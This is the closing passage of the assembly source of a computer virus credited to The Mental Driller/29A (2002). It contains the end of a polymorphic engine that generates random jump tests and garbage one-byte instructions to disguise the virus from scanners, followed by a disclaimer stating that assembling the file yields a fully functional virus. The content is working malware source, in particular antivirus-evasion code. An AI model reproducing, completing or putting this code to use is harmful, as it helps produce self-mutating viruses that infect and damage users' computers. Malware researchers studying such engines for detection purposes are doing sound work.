       @@DirectTEST:
                mov     eax, 48h      ; The direct test is TEST EAX,xxxx
                mov     [edi], eax
                xor     eax, eax
                call    Xpand_ReverseTranslation
                mov     [edi+1], eax
                call  @@GetARandomPowerOf2 ; Get a 2^rnd number (only one
                mov     [edi+7], edx       ; bit set)
                add     edi, 10h
                jmp   @@SetTheJump

      @@Normal: xor     eax, eax      ; If we don't make this, we set the jump
                mov     [ebp+Poly_JumpRandomExecution], eax ; to complete to
                ret                                         ; 0 and we exit.

   @@GetARandomPowerOf2:           ; A 2^rnd number is achieved by getting
                call    Random     ; a random number from 0 to 31 and then
                and     eax, 1Fh   ; shifting 1 by that number. Easy :).
                mov     edx, 1
       @@LoopRotate:
                or      eax, eax
                jz    @@RotateFinish
                shl     edx, 1
                sub     eax, 1
                jmp   @@LoopRotate
       @@RotateFinish:
                ret
Poly_MakeRandomExecution endp

;; Get a garbage one-byte instruction.
Poly_GetGarbageOneByter proc
                call    Random      ; Get a random number from 0 to 7
                and     eax, 7
                add     eax, 0F8h   ; Add F8 to get some interesting instrc.
                cmp     eax, 0FAh   ; CLI?
                jz    @@ReturnCMC   ; Then set CMC
                cmp     eax, 0FDh   ; STD?
                jz    @@ReturnNOP   ; Then set NOP (bad things happen if not!)
                cmp     eax, 0FEh   ; Other type of opcodes?
                jb    @@Return      ; If not, return the opcode
     @@ReturnNOP:
                mov     eax, 90h    ; Set NOP
     @@Return:  ret
     @@ReturnCMC:
                mov     eax, 0F5h   ; Set CMC
                ret
Poly_GetGarbageOneByter endp
;;
;;
;; End of the polymorphic engine
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


EndOfCode       label   dword

                end     PreMain

(c) The Mental Driller/29A, somewhere on February 2002

DISCLAIMER

This code is only for research and educational purposes only. The assembling
of this file will produce a fully functional virus, so you have been warned.
If this kind of material is illegal in your country or state, you should
remove it from your computer. The author of this virus declines any illegal
activity performed by the possesor of the assembled form of this source code
including possesion and/or spreading of the virus generated from this source
code.

This source code is provided "as is". The deliberated modification of this
source code will derive in a new virus that must not be considered the virus
sourced here. The author of the original source code will not be considered
the author of the new modified or derivated virus.